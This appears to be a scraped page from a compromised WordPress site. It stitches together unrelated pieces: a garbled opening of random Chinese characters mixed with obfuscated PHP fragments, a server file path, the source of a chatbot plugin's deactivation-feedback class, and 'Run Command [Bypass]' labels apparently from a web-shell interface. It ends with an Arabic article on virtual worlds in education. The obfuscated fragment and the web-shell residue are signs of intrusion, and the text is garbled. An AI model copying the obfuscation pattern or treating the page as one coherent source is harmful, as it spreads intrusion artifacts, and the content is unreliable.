财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-content/plugins/chatbot/class-plugin-deactivate-feedback.php
<?php
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
if( ! class_exists( 'Wp_Usage_Feedback') ) {
class Wp_Usage_Feedback {
private $wpbot_version = '1.0.0';
private $home_url = '';
private $plugin_file = '';
private $plugin_name = '';
private $options = array();
private $require_optin = true;
private $include_goodbye_form = true;
/**
* Class constructor
*
* @param $_home_url The URL to the site we're sending data to
* @param $_plugin_file The file path for this plugin
* @param $_options Plugin options to track
* @param $_require_optin Whether user opt-in is required (always required on WordPress.org)
* @param $_include_goodbye_form Whether to include a form when the user deactivates
* @param $_marketing Marketing method:
* 0: Don't collect email addresses
* 1: Request permission same time as tracking opt-in
* 2: Request permission after opt-in
*/
public function __construct(
$_plugin_file,
$_home_url,
$_require_optin=true,
$_include_goodbye_form=true) {
$this->plugin_file = $_plugin_file;
$this->home_url = 'plugins@quantumcloud.com';
$this->plugin_name = basename( $this->plugin_file, '.php' );
$this->require_optin = $_require_optin;
$this->include_goodbye_form = $_include_goodbye_form;
// Deactivation hook
register_deactivation_hook( $this->plugin_file, array( $this, 'deactivate_this_plugin' ) );
// Get it going
$this->init();
}
public function init() {
// Deactivation
add_filter( 'plugin_action_links_' . plugin_basename( $this->plugin_file ), array( $this, 'filter_action_links' ) );
add_action( 'admin_footer-plugins.php', array( $this, 'goodbye_ajax' ) );
add_action( 'wp_ajax_goodbye_form', array( $this, 'goodbye_form_callback' ) );
}
// In theme's functions.php or plug-in code:
function set_content_type(){
return "text/html";
}
/**
* Send the data to the home site
*
* @since 1.0.0
*/
public function send_data( $body ) {
$message = '';
foreach($body as $key=>$value){
if($key=='active_plugins'){
$message .='<p> <b>'.$key.'</b>: '.(implode(', ',$value)).' </p>';
}
elseif($key=='inactive_plugins'){
$message .='<p> <b>'.$key.'</b>: '.(implode(', ',$value)).' </p>';
}else{
$message .='<p> <b>'.$key.'</b>: '.$value.' </p>';
}
}
$title = 'Plugin Deactivation Notice';
$headers = array('From: Anonymous <mailer@just-a-fake-from-address.com>');
add_filter( 'wp_mail_content_type', array($this, 'set_content_type') );
$email = wp_mail($this->home_url, $title, $message, $headers);
remove_filter('wp_mail_content_type', array($this, 'set_content_type'));
return $email;
}
/**
* Here we collect most of the data
*
* @since 1.0.0
*/
public function get_data() {
// Use this to pass error messages back if necessary
$body['message'] = '';
// Use this array to send data back
$body = array();
/**
* Get our plugin data
* Currently we grab plugin name and version
* Or, return a message if the plugin data is not available
* @since 1.0.0
*/
$plugin = $this->plugin_data();
if( empty( $plugin ) ) {
// We can't find the plugin data
// Send a message back to our home site
$body['message'] .= __( 'We can\'t detect any plugin information. This is most probably because you have not included the code in the plugin main file.', 'wpchatbot' );
$body['status'] = 'Data not found'; // Never translated
} else {
if( isset( $plugin['Name'] ) ) {
$body['plugin'] = sanitize_text_field( $plugin['Name'] );
}
if( isset( $plugin['Version'] ) ) {
$body['version'] = sanitize_text_field( $plugin['Version'] );
}
}
// Return the data
return $body;
}
/**
* Return plugin data
* @since 1.0.0
*/
public function plugin_data() {
// Being cautious here
if( ! function_exists( 'get_plugin_data' ) ) {
include ABSPATH . '/wp-admin/includes/plugin.php';
}
// Retrieve current plugin information
$plugin = get_plugin_data( $this->plugin_file );
return $plugin;
}
/**
* Deactivating plugin
* @since 1.0.0
*/
public function deactivate_this_plugin() {
$body = $this->get_data();
$body['status'] = 'Deactivated'; // Never translated
$body['deactivated_date'] = date('Y-m-d');
// Add deactivation form data
if( false !== get_option( 'wpbot_deactivation_reason_' . $this->plugin_name ) ) {
$body['deactivation_reason'] = get_option( 'wpbot_deactivation_reason_' . $this->plugin_name );
delete_option('wpbot_deactivation_reason_' . $this->plugin_name);
}
if( false !== get_option( 'wpbot_deactivation_details_' . $this->plugin_name ) ) {
$body['deactivation_details'] = get_option( 'wpbot_deactivation_details_' . $this->plugin_name );
delete_option('wpbot_deactivation_details_' . $this->plugin_name);
}
if(isset($body['deactivation_reason']) or isset($body['deactivation_details']))
$this->send_data( $body );
}
/**
* Filter the deactivation link to allow us to present a form when the user deactivates the plugin
* @since 1.0.0
*/
public function filter_action_links( $links ) {
if( isset( $links['deactivate'] ) && $this->include_goodbye_form ) {
$deactivation_link = $links['deactivate'];
// Insert an onClick action to allow form before deactivating
$deactivation_link = str_replace( '<a ', '<div class="wpb-goodbye-form-wrapper"><span class="wpb-goodbye-form" id="wpb-goodbye-form-' . esc_attr( $this->plugin_name ) . '"></span></div><a onclick="javascript:event.preventDefault();" id="wpb-goodbye-link-' . esc_attr( $this->plugin_name ) . '" ', $deactivation_link );
$links['deactivate'] = $deactivation_link;
}
return $links;
}
/*
* Form text strings
* These are non-filterable and used as fallback in case filtered strings aren't set correctly
* @since 1.0.0
*/
public function form_default_text() {
$form = array();
$form['heading'] = __( 'Sorry to see you go', 'wpchatbot' );
$form['body'] = __( '', 'wpchatbot' );
$form['options'] = array(
__( 'Found a Bug', 'wpchatbot' ),
__( 'Need More Features', 'wpchatbot' ),
__( 'Deactivating Temporarily', 'wpchatbot' ),
__( 'Upgrading to Pro', 'wpchatbot' ),
);
$form['email'] = __( 'Please provide email so we can contact with bug fixes', 'wpchatbot' );
$form['details'] = __( 'Please provide some details so we can improve the plugin', 'wpchatbot' );
return $form;
}
/**
* Form text strings
* These can be filtered
* The filter hook must be unique to the plugin
* @since 1.0.0
*/
public function form_filterable_text() {
$form = $this->form_default_text();
return apply_filters( 'wpbot_form_text_' . esc_attr( $this->plugin_name ), $form );
}
/**
* Form text strings
* These can be filtered
* @since 1.0.0
*/
public function goodbye_ajax() {
// Get our strings for the form
$form = $this->form_filterable_text();
if( ! isset( $form['heading'] ) || ! isset( $form['body'] ) || ! isset( $form['options'] ) || ! is_array( $form['options'] ) || ! isset( $form['details'] ) ) {
// If the form hasn't been filtered correctly, we revert to the default form
$form = $this->form_default_text();
}
// Build the HTML to go in the form
$html = '<div class="wpb-goodbye-form-head"><strong>' . esc_html( $form['heading'] ) . '</strong></div>';
$html .= '<div class="wpb-goodbye-form-body"><p>' . esc_html( $form['body'] ) . '</p>';
if( is_array( $form['options'] ) ) {
$html .= '<div class="wpb-goodbye-options"><p>';
/*
foreach( $form['options'] as $option ) {
$html .= '<input type="radio" name="wpb-goodbye-options" id="' . str_replace( " ", "", esc_attr( $option ) ) . '" value="' . esc_attr( $option ) . '"> <label for="' . str_replace( " ", "", esc_attr( $option ) ) . '">' . esc_attr( $option ) . '</label><br>';
}
*/
$html .= '</p><div id="wpb_additional_content" style=""><label for="wpb-goodbye-reasons">' . esc_html( $form['email'] ) .'</label><br><input type="email" name="wpb-goodbye-email" id="wpb-goodbye-email" value="'.get_option('admin_email').'" /> (Optional)';
$html .= '<br><label for="wpb-goodbye-reasons">' . esc_html( $form['details'] ) .'</label><textarea name="wpb-goodbye-reasons" id="wpb-goodbye-reasons" rows="2" style="width:100%"></textarea><div id="wpbot_deactivation_error"></div></div>';
$html .= '</div><!-- .wpb-goodbye-options -->';
}
$html .= '</div><!-- .wpb-goodbye-form-body -->';
$html .= '<p class="deactivating-spinner"><span class="spinner"></span> ' . __( 'Submitting form', 'wpbot-plugin' ) . '</p>';
?>
<div class="wpb-goodbye-form-bg"></div>
<style type="text/css">
.wpb-form-active .wpb-goodbye-form-bg {
background: rgba( 0, 0, 0, .5 );
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.wpb-goodbye-form-wrapper {
position: relative;
z-index: 999;
display: none;
}
.wpb-form-active .wpb-goodbye-form-wrapper {
display: block;
}
.wpb-goodbye-form {
display: none;
}
.wpb-form-active .wpb-goodbye-form {
position: fixed;
max-width: 400px;
background: #fff;
white-space: normal;
z-index: 99;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
border-radius: 5px;
}
.wpb-goodbye-form-head {
background: #7a00aa;
color: #fff;
padding: 8px 18px;
text-align: center;
border-radius: 5px 5px 0px 0px;
}
.wpb-goodbye-form-body {
padding: 8px 18px;
color: #444;
}
.deactivating-spinner {
display: none;
}
.deactivating-spinner .spinner {
float: none;
margin: 4px 4px 0 18px;
vertical-align: bottom;
visibility: visible;
}
.wpb-goodbye-form-footer {
padding: 8px 18px;
min-height: 40px;
}
#wpbot_deactivation_error{color:red}
.wpbot_submit_deactivate{float:right}
.wpbot_just_deactivate{float: left;
font-size: 12px;
}
</style>
<script>
jQuery(document).ready(function($){
$('input[type=radio]').on('change', function() {
if($(this).val()=='Deactivating Temporarily' || $(this).val()=='Upgrading to Pro'){
$('#wpb_additional_content').hide();
}else{
$('#wpb_additional_content').show();
}
});
$("#wpb-goodbye-link-<?php echo esc_attr( $this->plugin_name ); ?>").on("click",function(){
// We'll send the user to this deactivation link when they've completed or dismissed the form
var url = document.getElementById("wpb-goodbye-link-<?php echo esc_attr( $this->plugin_name ); ?>");
$('body').toggleClass('wpb-form-active');
$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?>").fadeIn();
$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?>").html( '<?php echo wp_kses_post( $html ); ?>' + '<div class="wpb-goodbye-form-footer"><p><a class="wpbot_just_deactivate" href="'+url+'">Just Deactivate</a> <a id="wpb-submit-form" class="button primary wpbot_submit_deactivate" href="#">Submit and Deactivate</a></p></div>');
$('#wpb-goodbye-reasons').focus();
$('#wpb-submit-form').on('click', function(e){
e.preventDefault();
if($('#wpb-goodbye-reasons').val()==''){
jQuery('#wpbot_deactivation_error').html('Please provide some details to improve the plugin for you!');
$('#wpb-goodbye-reasons').focus();
return;
}
// As soon as we click, the body of the form should disappear
$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?> .wpb-goodbye-form-body").fadeOut();
$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?> .wpb-goodbye-form-footer").fadeOut();
// Fade in spinner
$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?> .deactivating-spinner").fadeIn();
var values = new Array();
$.each($("input[name='wpb-goodbye-options[]']:checked"), function(){
values.push($(this).val());
});
var email = $('#wpb-goodbye-email').val();
var details = $('#wpb-goodbye-reasons').val();
var data = {
'action': 'goodbye_form',
'values': values,
'details': details,
'email': email,
'security': "<?php echo sanitize_key( wp_create_nonce( 'wpbot_goodbye_form' ) ); ?>",
'dataType': "json"
}
$.post(
ajaxurl,
data,
function(response){
// Redirect to original deactivation URL
window.location.href = url;
}
);
});
// If we click outside the form, the form will close
$('.wpb-goodbye-form-bg').on('click',function(){
$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?>").fadeOut();
$('body').removeClass('wpb-form-active');
});
});
});
</script>
<?php }
/**
* AJAX callback when the form is submitted
* @since 1.0.0
*/
public function goodbye_form_callback() {
check_ajax_referer( 'wpbot_goodbye_form', 'security' );
if( isset( $_POST['details'] ) ) {
$details = sanitize_text_field( $_POST['details'] );
update_option( 'wpbot_deactivation_details_' . $this->plugin_name, $details );
}
echo 'success';
wp_die();
}
}
}
Run Command [Bypass]
Run Command
بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟ – tahkoom.com
كتبت شروق عارف
في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟
ما هو العالم الافتراضي والميتافيرس؟
في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي
التعليم في العالم الافتراضي
في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها
مزايا وتحديات ربط التعليم بالعالم الافتراضي
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية
ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام
آراء متباينة حول فاعلية العالم الافتراضي
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى
يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم
زر الذهاب إلى الأعلى